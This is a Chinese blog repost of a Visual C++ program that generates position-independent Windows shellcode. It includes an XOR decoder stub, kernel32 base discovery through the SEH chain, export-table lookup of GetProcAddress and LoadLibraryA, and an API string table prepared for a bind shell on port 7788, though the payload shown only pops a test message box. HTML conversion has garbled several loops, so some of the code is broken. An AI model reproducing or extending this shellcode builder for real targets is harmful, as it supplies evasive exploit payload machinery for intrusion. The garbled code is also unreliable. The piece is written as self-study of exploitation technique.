`
huozheleisi
  • 浏览: 1238802 次
文章分类
社区版块
存档分类
最新评论

学习ShellCode(一)

 
阅读更多

前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!

?

这个是通用的shellcode,自己在vc++下编译一下!

/*
??????????? 使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include <windows.h><br>#include <stdio.h><br>#include <winioctl.h></winioctl.h></stdio.h></windows.h>

#define? DEBUG 1

//
//函数原型
//
void???? DecryptSc();
void???? ShellCodes();
void???? PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define? BEGINSTRLEN??? 0x08??? //开始字符串长度
#define? ENDSTRLEN????? 0x08??? //结束标记字符的长度
#define? nop_CODE?????? 0x90??? //填充字符
#define? nop_LEN??????? 0x0???? //ShellCode起始的填充长度
#define? BUFFSIZE?????? 0x20000 //输出缓冲区大小

#define? sc_PORT??????? 7788??? //绑定端口号 0x1e6c
#define? sc_BUFFSIZE??? 0x2000? //ShellCode缓冲区大小

#define? Enc_key??????? 0x7A??? //编码密钥

#define? MAX_Enc_Len??? 0x400?? //加密代码的最大长度 1024足够?
#define? MAX_Sc_Len???? 0x2000? //hellCode的最大长度 8192足够?
#define? MAX_api_strlen 0x400?? //APIstr字符串的长度
#define? API_endstr???? "strend"//API结尾标记字符串???
#define? API_endstrlen? 0x06??? //标记字符串长度

#define PROC_BEGIN __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90/
?????????????????? __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{?????? //Kernel32
??????????? _CreatePipe,
??????????? _CreateProcessA,
??????????? _CloseHandle,
??????????? _PeekNamedPipe,
??????????? _ReadFile,
??????????? _WriteFile,
??????????? _ExitProcess,

??????????? //WS2_32
??????????? _socket,
??????????? _bind,
??????????? _listen,
??????????? _accept,
??????????? _send,
??????????? _recv,
??????????? _ioctlsocket,
??????????? _closesocket,

??????????? //本机测试User32
??????????? _MessageBeep,
??????????? _MessageBoxA,
??????????? API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
? //shellcode中要用到的字符串
? static char ApiStr[]="/x1e/x6c"?? //端口地址

??????????? //Kernel32的API函数名称
??????????? "CreatePipe""/x0"
??????????? "CreateProcessA""/x0"
??????????? "CloseHandle""/x0"
??????????? "PeekNamedPipe""/x0"
??????????? "ReadFile""/x0"
??????????? "WriteFile""/x0"
??????????? "ExitProcess""/x0"

??????????? //其它API中用到的API
??????????? "wsock32.dll""/x0"
??????????? "socket""/x0"
??????????? "bind""/x0"
??????????? "listen""/x0"
??????????? "accept""/x0"
??????????? "send""/x0"
??????????? "recv""/x0"
??????????? "ioctlsocket""/x0"
??????????? "closesocket""/x0"
??????????? //本机测试
??????????? "user32.dll""/x0"
??????????? "MessageBeep""/x0"
??????????? "MessageBoxA""/x0"

??????????? "/x0/x0/x0/x0/x0"
??????????? "strend";

? char? *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";? //标记开始的字符串
? char? *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";? //标记结束的字符串

? char? buff[BUFFSIZE];???????? //缓冲区
? char? sc_buff[sc_BUFFSIZE];?? //ShellCodes缓冲
? char? *pDcrypt_addr,
??????? *pSc_addr;

? int?? buff_len;?????????????? //缓冲长度
? int?? EncCode_len;??????????? //加密编码代码长度
? int?? Sc_len;???????????????? //原始ShellCode的长度

? int?????? i,k;
? unsigned? char ch;

? //
? //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
? //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
? //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
? //
? pDcrypt_addr=(char *)DecryptSc;

? //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
? //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

? ch=*pDcrypt_addr;
? if (ch==0xe9)
? {
????? pDcrypt_addr++;
????? i=*(int *)pDcrypt_addr;
????? pDcrypt_addr+=(i+4);????? //此时指向函数的实际地址
? }
? //找到解码代码的开始部分
? for(k=0;k<max_enc_len if break><p>? if (k<max_enc_len pdcrypt_addr>? else <br>? {<br>????? //显示错误信息<br>????? k=0;<br>????? printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n");<br>????? return 0;<br>? }</max_enc_len></p> <p>? for(k=0;k<max_enc_len if break><p>? if (k<max_enc_len enccode_len="k;&lt;BR">? else <br>? {<br>????? k=0;<br>????? printf("/nNo End str defined in Decrypt function!Please Check..../n");<br>????? return 0;<br>? }</max_enc_len></p> <p>? memset(buff,nop_CODE,BUFFSIZE);?????????????????????? //缓冲区填充<br>? memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);??????? //把DecryptSc代码复制进buff</p> <p>? //<br>? //处理ShellCode代码,如果需要定位到代码的开始<br>? //<br>? pSc_addr=(char *)ShellCodes;???? //shellcode的地址</p> <p>? //调试状态下的函数地址处理,便于调试<br>? ch=*pSc_addr;<br>? if (ch==0xe9)<br>? {<br>????? pSc_addr++;<br>????? i=*(int *)pSc_addr;<br>????? pSc_addr+=(i+4);????? //此时指向函数的实际地址<br>? }</p> <p>? //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的<br>? /*<br>? for (k=0;k<max_sc_len if break>? if (k<max_enc_len psc_addr>? */</max_enc_len></max_sc_len></p> <p>? //找到shellcode的结尾及长度<br>? for(k=0;k<max_sc_len if break>? if (k<max_sc_len sc_len="k;&lt;BR">? else <br>? {<br>????? k=0;<br>????? printf("/nNo End str defined in ShellCodes function!Please Check..../n");<br>????? return 0;<br>? }</max_sc_len></max_sc_len></p> <p><br>? //把shellcode代码复制进sc_buff<br>? memcpy(sc_buff,pSc_addr,Sc_len);</p> <p>? //把字符串拷贝在shellcode的结尾<br>? for(i=0;i<max_api_strlen if break>? if(i&gt;=MAX_api_strlen)<br>? {<br>????? printf("/nNo End str defined in API strings!Please Check..../n");<br>????? return 0;<br>? }<br>? memcpy(sc_buff+k,ApiStr,i);</max_api_strlen></p> <p>? Sc_len+=i;??????? //增加shellcode的长度</p> <p>? //<br>? //对shellcode进行编码算法简单,可根据需要改变<br>? //<br>? k=EncCode_len+nop_LEN;??? //定位缓冲区应存放ShellCode地址的开始</p> <p>? for(i=0;i<sc_len><p>???? ch=sc_buff[i]^Enc_key;<br>???? //对一些可能造成shellcode失效的字符进行替换<br>???? if(ch???? {<br>??????? buff[k]='0';<br>??????? ++k;<br>??????? ch+=0x31;<br>???? }<br>???? //把编码过的shellcode放在DecryptSc代码后面<br>???? buff[k]=ch;<br>???? ++k;<br>? }</p> <p>? //shellcode的总长度<br>? buff_len=k;</p> <p>? //打印出shellcode<br>? PrintSc(buff,buff_len);<br>? //buff[buff_len]=0;<br>? //printf("%s",buff);</p> <p>#ifdef DEBUG<br>? _asm{<br>????? lea eax,buff<br>????? jmp eax<br>????? ret<br>? }<br>#endif</p> <p>??? return? 0;<br>}</p> <p>//解码shellcode的代码<br>void? DecryptSc()<br>{<br>?????? __asm{</p> <p>/////////////////////////<br>//定义开始标志<br>/////////////////////////<br>????????? PROC_BEGIN??? //C macro to begin proc</p> <p>????????? jmp?? next<br>getEncCodeAddr:<br>????????? pop?? edi<br>????????? push? edi<br>????????? pop?? esi<br>????????? xor?? ecx,ecx<br>Decrypt_lop: <br>????????? lodsb<br>????????? cmp? al,cl<br>????????? jz?? shell<br>????????? cmp? al,0x30? //判断是否为特殊字符<br>????????? jz?? special_char_clean<br>store:????? <br>????????? xor? al,Enc_key<br>????????? stosb<br>????????? jmp? Decrypt_lop<br>special_char_clean:?? <br>????????? lodsb<br>????????? sub al,0x31<br>????????? jmp store<br>next:???? <br>????????? call? getEncCodeAddr<br>????????? //其余真正加密的shellcode代码会连接在此处<br>shell:??? </p> <p>/////////////////////////<br>//定义结束标志<br>/////////////////////////<br>????????? PROC_END????? //C macro to end proc</p> <p>????????? }<br>}???????? </p> <p>//<br>//shellcode代码<br>//<br>void ShellCodes()<br>{<br>??? //API低址数组??? <br>??? FARPROC???? API[API_num];</p> <p><br>??? //自己获取的API地址<br>??? FARPROC???? GetProcAddr;<br>??? FARPROC??? LoadLib;</p> <p>??? HANDLE????? hKrnl32;<br>??? HANDLE????? libhandle;</p> <p>??? char??????? *ApiStr_addr,*p;<br>??? <br>??? int???????? k;<br>??? u_short???? shellcodeport;</p> <p>??? //测试用变量<br>??? char??????? *testAddr;</p> <p>/*<br>??? STARTUPINFO siinfo;<br>??? SOCKET????? listenFD,clientFD;<br>??? struct????? sockaddr_in server;<br>??? int???????? iAddrSize = sizeof(server);<br>??? int???????? lBytesRead;<br>??? PROCESS_INFORMATION ProcessInformation;<br>??? HANDLE????? hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;<br>??? SECURITY_ATTRIBUTES sa;</p> <p>*/</p> <p><br>_asm {<br>??????? jmp??? locate_addr0<br>getApiStr_addr:<br>??????? pop??? ApiStr_addr</p> <p>??????? //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址<br>??????? //以后就可以方便地获取任何API的地址了</p> <p>??????? //保护寄存器<br>??????? pushad</p> <p>??? xor???? esi,esi<br>??????? lods??? dword ptr fs:[esi]<br>??????? <br>Search_Krnl32_lop:<br>??????? inc???? eax<br>??????? je????? Krnl32_Base_Ok<br>??????? dec???? eax<br>??????? xchg??? esi,eax<br>??????? LODSD? <br>??????? jmp???? Search_Krnl32_lop<br>Krnl32_Base_Ok:</p> <p>??????? LODSD?????????????????? <br>??????????????????????????????? ;compare if PE_hdr<br>??????? xchg??? esi,eax<br>??? find_pe_header:<br>??????? dec???? esi<br>??????? xor???? si,si?????????? ;kernel32 is 64kb align<br>??????? mov???? eax,[esi]<br>??????? add???? ax,-'ZM'??????? ;?????? <br>??????? jne???? find_pe_header<br>??????? mov???? edi,[esi+3ch]?? ;.e_lfanew??????? <br>??????? mov???? eax,[esi+edi]<br>??????? add???? eax,-'EP'?????? ;anti heuristic change this if you are using MASM etc.???? <br>??????? jne???? find_pe_header? <br>??????? <br>??????? push???? esi<br>??????????????????????????????? ;esi=VA Kernel32.BASE<br>??????????????????????????????? ;edi=RVA K32.pehdr??????? <br>??????? mov???? ebx,esi<br>??????? mov???? edi,[ebx+edi+78h]? ;peh.DataDirectory<br>??????? <br>??????? push??? edi<br>??????? push??? esi</p> <p>??????? mov???? eax,[ebx+edi+20h]? ;peexc.AddressOfNames???????????????? <br>??????? mov???? edx,[ebx+edi+24h]? ;peexc.AddressOfNameOrdinals????? <br>??????? call??? __getProcAddr<br>??????? _emit 0x47<br>??????? _emit 0x65<br>??????? _emit 0x74<br>??????? _emit 0x50<br>??????? _emit 0x72<br>??????? _emit 0x6F<br>??????? _emit 0x63<br>??????? _emit 0x41<br>??????? _emit 0x64<br>??????? _emit 0x64<br>??????? _emit 0x72<br>??????? _emit 0x65<br>??????? _emit 0x73<br>??????? _emit 0x73<br>??????? _emit 0x0<br>??????? //db???? "GetProcAddress",0<br>__getProcAddr:<br>??????? pop???? edi<br>??????? mov???? ecx,15??????? <br>??????? sub???? eax,4<br>next_:??????? <br>??????? add???? eax,4<br>??????? add???? edi,ecx<br>??????? sub???? edi,15<br>??????? mov???? esi,[ebx+eax]<br>??????? add???? esi,ebx<br>??????? mov???? ecx,15<br>??????? repz??? cmpsb<br>??????? jnz???? next_</p> <p>??????? pop???? esi<br>??????? pop???? edi</p> <p>??????? sub???? eax,[ebx+edi+20h]????? ;peexc.AddressOfNames<br>??????? shr???? eax,1<br>??????? add???? edx,ebx<br>??????? movzx?? eax,word ptr [edx+eax]??????? <br>??????? add???? esi,[ebx+edi+1ch]?????? ;peexc.AddressOfFunctions<br>??????? add???? ebx,[esi+eax*4]???????? ;ebx=Kernel32.GetProcAddress.addr<br>??????????????????????????????????????? ;use GetProcAddress and hModule to get other func<br>??????? pop???? esi???????????????????? ;esi=kernel32 Base</p> <p>??????? mov???? [hKrnl32],esi?????????? //保存<br>??????? mov???? [GetProcAddr],ebx?????? //保存</p> <p>??????? call??? _getLoadLib<br>??????? _emit 0x4C<br>??????? _emit 0x6F<br>??????? _emit 0x61<br>??????? _emit 0x64<br>??????? _emit 0x4C<br>??????? _emit 0x69<br>??????? _emit 0x62<br>??????? _emit 0x72<br>??????? _emit 0x61<br>??????? _emit 0x72<br>??????? _emit 0x79<br>??????? _emit 0x41<br>??????? _emit 0x0<br>??????? //db????? "LoadLibraryA",0<br>??????? <br>_getLoadLib:<br>??????? push??? esi<br>??????? call??? ebx<br>??????? mov???? [LoadLib],eax</p> <p>??????? //恢复寄存器,避免更多问题<br>??????? popad<br>??? }</p> <p>?? //取出定义的端口地址<br>?? shellcodeport=*(u_short *)ApiStr_addr;<br>?? ApiStr_addr+=2;<br>?? <br>?? ////////////////////////////////测试用<br>??? testAddr=ApiStr_addr;<br>?? ////////////////////////////////////</p> <p>?? //利用GetProcAddress来获得shellcode中所用到的API地址</p> <p>?? libhandle=hKrnl32;<br>?? p=ApiStr_addr;</p> <p>?? k=0;<br>?? ///*<br>?? while ( *((unsigned int *)p) != 0)<br>?? {<br>?????? ApiStr_addr=p;<br>?????? while(*p) p++;?? //前进到下一个字符串</p> <p>?????? if (*( (unsigned int *)(p-4))=='lld.')<br>?????? {<br>?????????? libhandle=(HANDLE)LoadLib(ApiStr_addr);? //若为DLL则加载DLL<br>?????? }<br>?????? else<br>?????? {<br>?????????? API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);<br>?????????? k++;<br>?????? }<br>?????? <br>?????? ApiStr_addr=++p; //更新指针前进一个字符位置<br>?????? <br>?? }<br>?? <br>?? //*/</p> <p>///////////////////////////////////////////////////////////////////////////<br>//???????? 下面就可以使用C语言来编写真正实现功能的shellcode了??????????????? //<br>///////////////////////////////////////////////////////////////////////////<br>//<br>//简单测试几个API看是否复合要求<br>//<br>API[_MessageBeep](0x10);<br>API[_MessageBoxA](0,testAddr,0,0x40);<br>API[_ExitProcess](0);<br>///////////////////////////////////////////////////////////////////////////<br>//?????????????????????????? shellcode功能部分结束?????????????????????? //<br>///////////////////////////////////////////////////////////////////////////</p> <p>//死循环<br>die:?? <br>??? goto die;<br>__asm<br>??? {<br>locate_addr0:? <br>?????????? call getApiStr_addr????? //5 bytes<br>//真正的字符串数据要连接在此处<br>??? </p> <p>?</p> <p>/////////////////////////<br>//定义结束标志<br>/////////////////////////<br>????????? PROC_END????? //C macro to end proc<br>?????? <br>???? }<br>}</p> <p>//<br>//显示打印生成的shellcode的C string格式代码<br>//<br>void PrintSc(char *lpBuff, int buffsize)<br>{<br>??? int i,j;<br>??? char *p;<br>??? char msg[4];<br>??? for(i=0;i<buffsize>??? {<br>??????? if((i%16)==0)<br>??????????? if(i!=0)<br>??????????????? printf("/"/n/"");<br>??????????? else<br>??????????????? printf("/"");<br>??????? sprintf(msg,"<a href="file://x%25.2X%22,lpBuff%5Bi%5D%260xff/">//x%.2X",lpBuff[i]&amp;0xff</a>);<br>??????? for( p = msg, j=0; j ??????? {<br>??????????? if(isupper(*p))<br>??????????????? printf("%c", _tolower(*p));<br>??????????? else<br>??????????????? printf("%c", p[0]);<br>??????? }<br>??? }<br>??? printf("/";/n/*Shell total are %d bytes *//n",buffsize);<br>} </buffsize></p> <p>总结一下:</p> <p>寻找kernel和api函数地址的定位</p> <p>1.基本的:暴力获取地址空间;</p> <p>2.从peb相关数据获取(参考:绿盟月刊44期scz的《通过teb/peb枚举当前进程空间中用户模块列表》)</p> <p>3.搜索进程的seh链表获取kernel32.UnheadleExceptionFilter地址;</p> <p>虽然这些对于我来说还是模棱两可的,但是俗话说:“温故而知新”,要经常温故阿!经常学习!</p> </sc_len></p></max_enc_len></p></max_enc_len>

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics